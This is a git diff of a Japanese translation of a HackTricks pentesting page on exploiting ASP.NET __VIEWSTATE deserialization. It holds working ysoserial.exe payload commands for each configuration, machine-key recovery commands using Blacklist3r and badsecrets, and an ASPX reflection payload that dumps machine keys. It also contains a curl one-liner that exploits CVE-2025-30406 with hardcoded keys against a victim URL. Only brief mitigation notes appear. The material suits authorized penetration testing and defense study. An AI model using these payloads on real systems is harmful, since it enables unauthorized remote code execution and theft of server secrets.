Translated ['src/pentesting-web/deserialization/exploiting-__viewstate-p

This commit is contained in:
Translator 2025-08-10 18:16:57 +00:00
parent b135a9045d
commit aa4e7d3fde

View File

@ -1,4 +1,4 @@
# __VIEWSTATEを秘密を知らずに悪用する
# __VIEWSTATEの悪用(秘密を知らなくても)
{{#include ../../banners/hacktricks-training.md}}
@ -10,19 +10,19 @@ ViewState情報は、以下の特性またはその組み合わせによって
- **Base64**:
- `EnableViewStateMac``ViewStateEncryptionMode`属性の両方がfalseに設定されている場合に使用されるフォーマットです。
- **Base64 + MAC (メッセージ認証コード) 有効**:
- **Base64 + MAC(メッセージ認証コード)有効**:
- MACの有効化は、`EnableViewStateMac`属性をtrueに設定することで達成されます。これにより、ViewStateデータの整合性検証が提供されます。
- **Base64 + 暗号化**:
- `ViewStateEncryptionMode`属性がtrueに設定されている場合、暗号化が適用され、ViewStateデータの機密性が確保されます。
## テストケース
画像は、.NETフレームワークのバージョンに基づくASP.NETにおけるViewStateの異なる構成を詳細に示す表です。内容の要約は以下の通りです:
画像は、.NETフレームワークのバージョンに基づくASP.NETにおけるViewStateの異なる構成を詳細に示した表です。内容の概要は以下の通りです:
1. **任意の.NETバージョン**において、MACと暗号化の両方が無効な場合、MachineKeyは必要なく、したがってそれを特定する適用可能な方法はありません。
1. **任意の.NETバージョン**において、MACと暗号化の両方が無効な場合、MachineKeyは必要なく、したがってそれを特定する方法はありません。
2. **4.5未満のバージョン**では、MACが有効で暗号化が無効な場合、MachineKeyが必要です。MachineKeyを特定する方法は「Blacklist3r」と呼ばれます。
3. **4.5未満のバージョン**では、MACが有効か無効かにかかわらず、暗号化が有効な場合、MachineKeyが必要です。MachineKeyを特定するのは「Blacklist3r - 将来の開発」のタスクです。
4. **4.5以上のバージョン**では、MACと暗号化のすべての組み合わせ両方がtrueであるか、一方がtrueで他方がfalseであるかはMachineKeyを必要とします。MachineKeyは「Blacklist3r」を使用して特定できます。
3. **4.5未満のバージョン**では、MACが有効か無効かにかかわらず、暗号化が有効な場合、MachineKeyが必要です。MachineKeyを特定するのは「Blacklist3r - Future Development」の仕事です。
4. **4.5以上のバージョン**では、MACと暗号化のすべての組み合わせ両方がtrue、または一方がtrueで他方がfalseの場合でMachineKeyが必要です。MachineKeyは「Blacklist3r」を使用して特定できます。
### テストケース: 1 EnableViewStateMac=false および viewStateEncryptionMode=false
@ -39,7 +39,7 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
### Test case 1.5 Test case 1と同様ですが、ViewStateクッキーはサーバーによって送信されません
開発者は**ViewState**をHTTPリクエストの一部として送信しないように**削除**することができます(ユーザーはこのクッキーを受け取りません)。\
**ViewState**が**存在しない**場合、その実装は**ViewStateのデシリアライズに起因する潜在的な脆弱性**から**安全**であると考えるかもしれません。\
**ViewState**が**存在しない**場合、その実装は**ViewStateのデシリアライズに起因する潜在的な脆弱性**から**安全**であると仮定するかもしれません。\
しかし、それは事実ではありません。リクエストボディに**ViewStateパラメータ**を追加し、ysoserialを使用して作成したシリアライズされたペイロードを送信すれば、**ケース1**に示されているように**コード実行**を達成することができます。
### Test Case: 2 .Net < 4.5 および EnableViewStateMac=true & ViewStateEncryptionMode=false
@ -68,7 +68,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0M
--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value
```
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) は、既知の machineKeys を特定できる別のツールです。これは Python で書かれているため、Blacklist3r とは異なり、Windows 依存性はありません。.NET viewstates 用に、「python blacklist3r」ユーティリティがあり、これが最も迅速な使用方法です。
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) は、既知の machineKeys を特定できる別のツールです。これは Python で書かれているため、Blacklist3r とは異なり、Windows 依存性はありません。.NET viewstates 用に、「python blacklist3r」ユーティリティがあり、これが最も迅速な使用方法です。
viewstate と generator を直接提供することができます:
```
@ -79,7 +79,7 @@ python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgX
```
![https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png](https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png)
または、ターゲットURLに直接接続し、HTMLからviewstateを抽出しようとすることもできます:
または、ターゲットURLに直接接続し、HTMLからviewstateを切り出そうとすることもできます:
```
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
@ -100,7 +100,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
--generator = {__VIWESTATEGENERATOR parameter value}
```
サーバーによって `_VIEWSTATEGENERATOR` パラメータが **送信されない** 場合、`--generator` パラメータを **提供する必要はありませんが、これらのパラメータは必要です**:
サーバーによって `_VIEWSTATEGENERATOR` パラメータが **送信されない** 場合、`--generator` パラメータを **提供する必要はありませんが、これらの** パラメータは必要です:
```bash
--apppath="/" --path="/hello.aspx"
```
@ -112,7 +112,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
**.NET 4.5以前では、** ASP.NETは**`ViewStateEncryptionMode`**が_**常に**_に設定されていても、ユーザーからの**未暗号化**\_`__VIEWSTATE`\_パラメータを**受け入れることができます**。ASP.NETは**`__VIEWSTATEENCRYPTED`**パラメータの**存在**のみを**確認します**。**このパラメータを削除し、未暗号化のペイロードを送信しても、処理されます。**
したがって、攻撃者がファイルトラバーサルのような別の脆弱性を介してマシンキーを取得する方法を見つけた場合、**ケース2**で使用された[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)コマンドを使用して、ViewStateのデシリアライズ脆弱性を利用してRCEを実行できます。
したがって、攻撃者がファイルトラバーサルのような別の脆弱性を介してマシンキーを取得する方法を見つけた場合、[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) コマンドを**ケース2**で使用して、ViewStateのデシリアライズ脆弱性を利用してRCEを実行できます。
- ViewStateのデシリアライズ脆弱性を悪用するために、リクエストから`__VIEWSTATEENCRYPTED`パラメータを削除してください。そうしないと、Viewstate MAC検証エラーが返され、悪用は失敗します。
@ -153,7 +153,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/4.2.png)
ViewStateのデシリアライズ脆弱性の成功した悪用は、攻撃者が制御するサーバーへのアウトオブバンドリクエストを引き起こし、ユーザー名を含みます。この種のエクスプロイトは、「Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET」というリソースを通じて見つけることができる概念実証PoCで示されています。悪用プロセスの詳細や、MachineKeyを特定するためにBlacklist3rのようなツールを利用する方法については、提供された[成功した悪用のPoC](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)を確認できます
ViewStateのデシリアライズ脆弱性の成功した悪用は、攻撃者が制御するサーバーへのアウトオブバンドリクエストを引き起こし、ユーザー名を含みます。この種のエクスプロイトは、「Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET」というリソースを通じて見つけることができる概念実証PoCで示されています。悪用プロセスの詳細や、MachineKeyを特定するためにBlacklist3rのようなツールを利用する方法については、提供された[成功した悪用のPoC](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)を確認してください
### テストケース 6 ViewStateUserKeysが使用されている
@ -166,11 +166,11 @@ ViewStateのデシリアライズ脆弱性の成功した悪用は、攻撃者
すべてのテストケースにおいて、ViewState YSoSerial.Net ペイロードが**成功**した場合、サーバーは「**500 Internal server error**」で応答し、応答内容は「**このページの状態情報は無効であり、破損している可能性があります**」となり、OOB リクエストを取得します。
[さらに情報を確認するにはこちらをチェックしてください](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
[さらに詳しい情報はこちらを確認してください](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
### リフレクションを介したASP.NETマシンキーのダンプ (SharPyShell/SharePoint ToolShell)
ターゲットのウェブルート内**任意のASPXコードをアップロードまたは実行できる**攻撃者は、ブルートフォースする代わりに`__VIEWSTATE`を保護する秘密鍵を直接取得できます。
ターゲットのウェブルート内**任意のASPXコードをアップロードまたは実行できる**攻撃者は、ブルートフォースする代わりに`__VIEWSTATE`を保護する秘密鍵を直接取得できます。
鍵を漏洩させる最小限のペイロードは、リフレクションを通じて内部の.NETクラスを利用します:
```csharp
<%@ Import Namespace="System.Web.Configuration" %>
@ -197,14 +197,54 @@ ysoserial.exe -p ViewState -g TypeConfuseDelegate \
--islegacy --minify
curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"
```
この**key-exfiltration primitive**は、2025年にオンプレミスのSharePointサーバーに対して大規模に悪用されました"ToolShell" CVE-2025-53770/53771が、攻撃者がサーバーサイドコードを実行できる任意のASP.NETアプリケーションに適用可能です。
この**キー抽出プリミティブ**は、2025年にオンプレミスのSharePointサーバーに対して大規模に悪用されました"ToolShell" CVE-2025-53770/53771が、攻撃者がサーバーサイドコードを実行できる任意のASP.NETアプリケーションに適用可能です。
## 2024-2025年の実世界の悪用シナリオとハードコーディングされたマシンキー
### マイクロソフトの「公開されたマシンキー」波2024年12月 2025年2月
マイクロソフトの脅威インテリジェンスは、*machineKey*が以前に公的なソースGitHub gists、ブログ投稿、ペーストサイトで漏洩していたASP.NETサイトの大規模な悪用を報告しました。敵対者はこれらのキーを列挙し、WAFの長さ制限を回避するために新しい`ysoserial.net` 1.41の`--minify`および`--islegacy`フラグを使用して有効な`__VIEWSTATE`ガジェットを生成しました。
```bash
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
--validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
--generator=<VIEWSTATEGEN> --minify
```
静的キーを回転させるか、Web .configで*AutoGenerate*キーに切り替える(`<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />`)ことで、このクラスの攻撃を軽減できます。 {{#ref}}
{{#endref}}
### CVE-2025-30406 Gladinet CentreStack / Triofoxのハードコーディングされたキー
Kudelski Securityは、複数のCentreStack / Triofoxリリースが同一の`machineKey`値で出荷されており、ViewStateの偽造を通じて認証されていないリモートコード実行を可能にしていることを発見しましたCVE-2025-30406
ワンライナーエクスプロイト:
```bash
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \
--validationkey=ACC97055B2A494507D7D7C92DC1C854E8EA7BF4C \
--validationalg=SHA1 \
--decryptionkey=1FB1DEBB8B3B492390B2ABC63E6D1B53DC9CA2D7 \
--decryptionalg=AES --generator=24D41AAB --minify \
| curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx
```
CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372 で修正されました すぐにアップグレードするか、キーを置き換えてください。 {{#ref}}
{{#endref}}
## 参考文献
- [Exploiting ViewState deserialization using Blacklist3r and YSoSerial.NET](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
- [Deep dive into .NET ViewState deserialization and its exploitation](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
- [Exploiting deserialisation in ASP.NET via ViewState (Soroush Dalili, 2019)](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
- [Introducing badsecrets fast machineKey discovery](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
- [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/)
- [Microsoft Security Code injection attacks abusing publicly disclosed ASP.NET machine keys (Feb 6 2025)](https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/)
- [Kudelski Security advisory Gladinet CentreStack / Triofox RCE CVE-2025-30406 (Apr 16 2025)](https://research.kudelskisecurity.com/2025/04/16/gladinet-centrestack-and-gladinet-triofox-critical-rce-cve-2025-30406/)
- [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
- [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
- [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
- [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/)
{{#include ../../banners/hacktricks-training.md}}